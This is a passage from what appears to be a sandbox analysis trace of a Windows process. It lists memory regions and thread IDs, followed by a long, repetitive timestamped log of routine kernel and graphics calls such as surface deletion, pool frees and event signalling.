entry_point = 0x0 region_type = private name = "private_0x00007ff7f7db0000" filename = "" Region: id = 8071 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 8072 start_va = 0x8136070000 end_va = 0x8136094fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136070000" filename = "" Region: id = 8172 start_va = 0x81376a0000 end_va = 0x81378b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 8189 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 8325 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 8473 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 8476 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 8477 start_va = 0x81376a0000 end_va = 0x81378b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 8493 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 8494 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 8645 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 8646 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 8795 start_va = 0x81376a0000 end_va = 0x81378b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 8796 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 8797 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 8833 start_va = 0x8136070000 end_va = 0x8136094fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136070000" filename = "" Region: id = 8947 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 8948 start_va = 0x81376a0000 end_va = 0x81378b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 8949 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 8950 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 9172 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 9173 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 9522 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 9523 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 9524 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 9675 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 9676 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 9677 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 9827 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 9828 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 9864 start_va = 0x8136070000 end_va = 0x8136094fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136070000" filename = "" Region: id = 9964 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 9965 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 9966 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 10139 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 10140 start_va = 0x8136070000 end_va = 0x8136094fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136070000" filename = "" Region: id = 10141 start_va = 0x8136ba0000 end_va = 0x8136be3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 10430 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Thread: id = 274 os_tid = 0x298 Thread: id = 286 os_tid = 0x2cc Thread: id = 287 os_tid = 0x2d0 Thread: id = 288 os_tid = 0x2d4 [0091.044] EngAcquireSemaphore () returned 0xfffff901409d8010 [0091.044] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.044] MmUnmapViewOfSection (Process=0xffffe000011ff900, BaseAddress=0xdc50000) returned 0x0 [0091.044] ObfDereferenceObject (Object=0xffffc00001a3aa50) returned 0x1 [0091.044] EngUnlockSurface () returned 0x1 [0091.044] EngDeleteSurface () returned 0x1 [0091.044] ExFreePoolWithTag (P=0xffffe00001396e70, Tag=0x0) [0091.044] EngFreeMem () returned 0xfffff901409fb850 [0107.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.032] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0113.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.084] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0113.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.584] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0113.708] EngAcquireSemaphore () returned 0xfffff901409d8010 [0113.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.709] MmUnmapViewOfSection (Process=0xffffe0000120d900, BaseAddress=0x92ca2d0000) returned 0x0 [0113.709] ObfDereferenceObject (Object=0xffffc00001b06d40) returned 0x1 [0113.709] EngUnlockSurface () returned 0x1 [0113.709] EngDeleteSurface () returned 0x1 [0113.709] ExFreePoolWithTag (P=0xffffe000007fcda0, Tag=0x0) [0113.709] EngFreeMem () returned 0xfffff901408e7740 [0114.258] EngAcquireSemaphore () returned 0xfffff901409d8010 [0114.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.258] ObfDereferenceObject (Object=0xffffc00001594e00) returned 0x1 [0114.258] EngUnlockSurface () returned 0x1 [0114.258] EngDeleteSurface () returned 0x1 [0114.258] ExFreePoolWithTag (P=0xffffe0000147d450, Tag=0x0) [0114.258] EngFreeMem () returned 0xfffff90140881ca0 [0114.258] EngAcquireSemaphore () returned 0xfffff901409d8010 [0114.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.264] ObfDereferenceObject (Object=0xffffc00001daf8c0) returned 0x1 [0114.264] EngUnlockSurface () returned 0x1 [0114.264] EngDeleteSurface () returned 0x1 [0114.264] ExFreePoolWithTag (P=0xffffe0000162c1b0, Tag=0x0) [0114.264] EngFreeMem () returned 0xfffff90142561c80 [0115.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.594] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0115.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.938] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0116.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.409] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0116.552] EngAcquireSemaphore () returned 0xfffff901409d8010 [0116.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.553] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0x5eb4300000) returned 0x0 [0116.554] ObfDereferenceObject (Object=0xffffc0000154de20) returned 0x1 [0116.554] EngUnlockSurface () returned 0x1 [0116.554] EngDeleteSurface () returned 0x1 [0116.554] ExFreePoolWithTag (P=0xffffe00001463440, Tag=0x0) [0116.554] EngFreeMem () returned 0xfffff901408dd740 [0116.966] EngAcquireSemaphore () returned 0xfffff901409d8010 [0116.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.967] ObfDereferenceObject (Object=0xffffc00001a3c060) returned 0x1 [0116.967] EngUnlockSurface () returned 0x1 [0116.967] EngDeleteSurface () returned 0x1 [0116.967] ExFreePoolWithTag (P=0xffffe0000144ce70, Tag=0x0) [0116.967] EngFreeMem () returned 0xfffff901424f3360 [0116.967] EngAcquireSemaphore () returned 0xfffff901409d8010 [0116.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.973] ObfDereferenceObject (Object=0xffffc00001d942b0) returned 0x1 [0116.973] EngUnlockSurface () returned 0x1 [0116.973] EngDeleteSurface () returned 0x1 [0116.973] ExFreePoolWithTag (P=0xffffe000012371a0, Tag=0x0) [0116.973] EngFreeMem () returned 0xfffff9014087f820 [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.259] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0118.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.581] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0119.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.035] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0119.190] EngAcquireSemaphore () returned 0xfffff901409d8010 [0119.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.191] MmUnmapViewOfSection (Process=0xffffe00001428900, BaseAddress=0xbe98650000) returned 0x0 [0119.191] ObfDereferenceObject (Object=0xffffc00001c662c0) returned 0x1 [0119.191] EngUnlockSurface () returned 0x1 [0119.191] EngDeleteSurface () returned 0x1 [0119.191] ExFreePoolWithTag (P=0xffffe000011e9ea0, Tag=0x0) [0119.191] EngFreeMem () returned 0xfffff901408c81a0 [0119.472] EngAcquireSemaphore () returned 0xfffff901409d8010 [0119.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.472] ObfDereferenceObject (Object=0xffffc00001555c20) returned 0x1 [0119.472] EngUnlockSurface () returned 0x1 [0119.472] EngDeleteSurface () returned 0x1 [0119.472] ExFreePoolWithTag (P=0xffffe000013ca590, Tag=0x0) [0119.472] EngFreeMem () returned 0xfffff901409af010 [0119.472] EngAcquireSemaphore () returned 0xfffff901409d8010 [0119.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.478] ObfDereferenceObject (Object=0xffffc00001b04a40) returned 0x1 [0119.478] EngUnlockSurface () returned 0x1 [0119.478] EngDeleteSurface () returned 0x1 [0119.478] ExFreePoolWithTag (P=0xffffe0000139abd0, Tag=0x0) [0119.479] EngFreeMem () returned 0xfffff9014087f820 [0120.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.747] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0121.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.087] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0121.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.552] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0121.724] EngAcquireSemaphore () returned 0xfffff901409d8010 [0121.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.724] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xebcde00000) returned 0x0 [0121.725] ObfDereferenceObject (Object=0xffffc00001101280) returned 0x1 [0121.725] EngUnlockSurface () returned 0x1 [0121.725] EngDeleteSurface () returned 0x1 [0121.725] ExFreePoolWithTag (P=0xffffe000012371a0, Tag=0x0) [0121.725] EngFreeMem () returned 0xfffff901408db740 [0121.990] EngAcquireSemaphore () returned 0xfffff901409d8010 [0121.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.990] ObfDereferenceObject (Object=0xffffc0000152be20) returned 0x1 [0121.990] EngUnlockSurface () returned 0x1 [0121.990] EngDeleteSurface () returned 0x1 [0121.990] ExFreePoolWithTag (P=0xffffe00001463440, Tag=0x0) [0121.991] EngFreeMem () returned 0xfffff901409d5ca0 [0122.006] EngAcquireSemaphore () returned 0xfffff901409d8010 [0122.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.012] ObfDereferenceObject (Object=0xffffc0000879c970) returned 0x1 [0122.012] EngUnlockSurface () returned 0x1 [0122.012] EngDeleteSurface () returned 0x1 [0122.012] ExFreePoolWithTag (P=0xffffe000014e9160, Tag=0x0) [0122.012] EngFreeMem () returned 0xfffff9014087f820 [0123.307] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.307] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0123.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.757] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0124.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.203] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0124.359] EngAcquireSemaphore () returned 0xfffff901409d8010 [0124.359] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.360] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x7c664d0000) returned 0x0 [0124.360] ObfDereferenceObject (Object=0xffffc00001a37e20) returned 0x1 [0124.360] EngUnlockSurface () returned 0x1 [0124.360] EngDeleteSurface () returned 0x1 [0124.361] ExFreePoolWithTag (P=0xffffe0000160c120, Tag=0x0) [0124.361] EngFreeMem () returned 0xfffff901408878e0 [0124.768] EngAcquireSemaphore () returned 0xfffff901409d8010 [0124.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.769] ObfDereferenceObject (Object=0xffffc00001ff80c0) returned 0x1 [0124.769] EngUnlockSurface () returned 0x1 [0124.769] EngDeleteSurface () returned 0x1 [0124.769] ExFreePoolWithTag (P=0xffffe0000139abd0, Tag=0x0) [0124.769] EngFreeMem () returned 0xfffff901409dc620 [0124.769] EngAcquireSemaphore () returned 0xfffff901409d8010 [0124.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.776] ObfDereferenceObject (Object=0xffffc00001544cc0) returned 0x1 [0124.776] EngUnlockSurface () returned 0x1 [0124.776] EngDeleteSurface () returned 0x1 [0124.776] ExFreePoolWithTag (P=0xffffe0000111b790, Tag=0x0) [0124.776] EngFreeMem () returned 0xfffff9014087f820 [0126.055] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.055] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0126.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.423] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0126.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.858] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0127.031] EngAcquireSemaphore () returned 0xfffff901409d8010 [0127.031] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.032] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xad73380000) returned 0x0 [0127.033] ObfDereferenceObject (Object=0xffffc0000159b720) returned 0x1 [0127.033] EngUnlockSurface () returned 0x1 [0127.033] EngDeleteSurface () returned 0x1 [0127.033] ExFreePoolWithTag (P=0xffffe0000134fb80, Tag=0x0) [0127.033] EngFreeMem () returned 0xfffff901408db740 [0127.422] EngAcquireSemaphore () returned 0xfffff901409d8010 [0127.422] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.423] ObfDereferenceObject (Object=0xffffc00001672600) returned 0x1 [0127.423] EngUnlockSurface () returned 0x1 [0127.423] EngDeleteSurface () returned 0x1 [0127.423] ExFreePoolWithTag (P=0xffffe000013c7e20, Tag=0x0) [0127.423] EngFreeMem () returned 0xfffff901409af010 [0127.423] EngAcquireSemaphore () returned 0xfffff901409d8010 [0127.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.429] ObfDereferenceObject (Object=0xffffc00001590e20) returned 0x1 [0127.429] EngUnlockSurface () returned 0x1 [0127.429] EngDeleteSurface () returned 0x1 [0127.429] ExFreePoolWithTag (P=0xffffe00001235120, Tag=0x0) [0127.429] EngFreeMem () returned 0xfffff9014087f820 [0128.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.709] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0129.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.117] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0129.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.556] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0129.726] EngAcquireSemaphore () returned 0xfffff901409d8010 [0129.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.726] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x61103a0000) returned 0x0 [0129.727] ObfDereferenceObject (Object=0xffffc0000159b720) returned 0x1 [0129.727] EngUnlockSurface () returned 0x1 [0129.727] EngDeleteSurface () returned 0x1 [0129.727] ExFreePoolWithTag (P=0xffffe00001235120, Tag=0x0) [0129.727] EngFreeMem () returned 0xfffff901409dac70 [0129.992] EngAcquireSemaphore () returned 0xfffff901409d8010 [0129.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.993] ObfDereferenceObject (Object=0xffffc00001c662c0) returned 0x1 [0129.993] EngUnlockSurface () returned 0x1 [0129.993] EngDeleteSurface () returned 0x1 [0129.993] ExFreePoolWithTag (P=0xffffe000012332e0, Tag=0x0) [0129.993] EngFreeMem () returned 0xfffff901424c5ca0 [0130.008] EngAcquireSemaphore () returned 0xfffff901409d8010 [0130.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0130.013] ObfDereferenceObject (Object=0xffffc000016ca7a0) returned 0x1 [0130.014] EngUnlockSurface () returned 0x1 [0130.014] EngDeleteSurface () returned 0x1 [0130.014] ExFreePoolWithTag (P=0xffffe0000111b790, Tag=0x0) [0130.014] EngFreeMem () returned 0xfffff9014087f820 [0131.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.283] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0131.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.770] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0132.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.115] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0132.240] EngAcquireSemaphore () returned 0xfffff901409d8010 [0132.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.241] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xbd838f0000) returned 0x0 [0132.242] ObfDereferenceObject (Object=0xffffc00001ff80c0) returned 0x1 [0132.242] EngUnlockSurface () returned 0x1 [0132.242] EngDeleteSurface () returned 0x1 [0132.242] ExFreePoolWithTag (P=0xffffe00001609810, Tag=0x0) [0132.242] EngFreeMem () returned 0xfffff901408db740 [0132.662] EngAcquireSemaphore () returned 0xfffff901409d8010 [0132.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.663] ObfDereferenceObject (Object=0xffffc00000f87840) returned 0x1 [0132.663] EngUnlockSurface () returned 0x1 [0132.663] EngDeleteSurface () returned 0x1 [0132.663] ExFreePoolWithTag (P=0xffffe0000122d190, Tag=0x0) [0132.663] EngFreeMem () returned 0xfffff901409af010 [0132.663] EngAcquireSemaphore () returned 0xfffff901409d8010 [0132.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.669] ObfDereferenceObject (Object=0xffffc000014c5ac0) returned 0x1 [0132.669] EngUnlockSurface () returned 0x1 [0132.669] EngDeleteSurface () returned 0x1 [0132.669] ExFreePoolWithTag (P=0xffffe00001127c40, Tag=0x0) [0132.669] EngFreeMem () returned 0xfffff901424f3340 [0134.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.100] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0135.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.459] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0135.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.755] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0135.880] EngAcquireSemaphore () returned 0xfffff901409d8010 [0135.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.881] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xdf3d930000) returned 0x0 [0135.881] ObfDereferenceObject (Object=0xffffc00001240af0) returned 0x1 [0135.881] EngUnlockSurface () returned 0x1 [0135.881] EngDeleteSurface () returned 0x1 [0135.881] ExFreePoolWithTag (P=0xffffe000010fcd10, Tag=0x0) [0135.881] EngFreeMem () returned 0xfffff901408db740 [0136.166] EngAcquireSemaphore () returned 0xfffff901409d8010 [0136.166] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.166] ObfDereferenceObject (Object=0xffffc000016b4230) returned 0x1 [0136.167] EngUnlockSurface () returned 0x1 [0136.167] EngDeleteSurface () returned 0x1 [0136.167] ExFreePoolWithTag (P=0xffffe00000b1f1d0, Tag=0x0) [0136.167] EngFreeMem () returned 0xfffff90140881ca0 [0136.195] EngAcquireSemaphore () returned 0xfffff901409d8010 [0136.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.202] ObfDereferenceObject (Object=0xffffc0000152be20) returned 0x1 [0136.202] EngUnlockSurface () returned 0x1 [0136.202] EngDeleteSurface () returned 0x1 [0136.202] ExFreePoolWithTag (P=0xffffe00001235120, Tag=0x0) [0136.202] EngFreeMem () returned 0xfffff901409e3c80 [0137.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.531] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0137.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.905] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0138.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.432] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0138.567] EngAcquireSemaphore () returned 0xfffff901409d8010 [0138.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.568] MmUnmapViewOfSection (Process=0xffffe0000120d7c0, BaseAddress=0x4ca150000) returned 0x0 [0138.569] ObfDereferenceObject (Object=0xffffc0000153cba0) returned 0x1 [0138.569] EngUnlockSurface () returned 0x1 [0138.569] EngDeleteSurface () returned 0x1 [0138.569] ExFreePoolWithTag (P=0xffffe00001255f40, Tag=0x0) [0138.569] EngFreeMem () returned 0xfffff901408db740 [0138.929] EngAcquireSemaphore () returned 0xfffff901409d8010 [0138.929] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.929] ObfDereferenceObject (Object=0xffffc00002068570) returned 0x1 [0138.929] EngUnlockSurface () returned 0x1 [0138.929] EngDeleteSurface () returned 0x1 [0138.929] ExFreePoolWithTag (P=0xffffe00001082bd0, Tag=0x0) [0138.929] EngFreeMem () returned 0xfffff901409b4690 [0138.930] EngAcquireSemaphore () returned 0xfffff901409d8010 [0138.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.936] ObfDereferenceObject (Object=0xffffc00001fd2120) returned 0x1 [0138.936] EngUnlockSurface () returned 0x1 [0138.936] EngDeleteSurface () returned 0x1 [0138.936] ExFreePoolWithTag (P=0xffffe000015a44a0, Tag=0x0) [0138.936] EngFreeMem () returned 0xfffff901408906e0 [0140.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.275] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0140.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 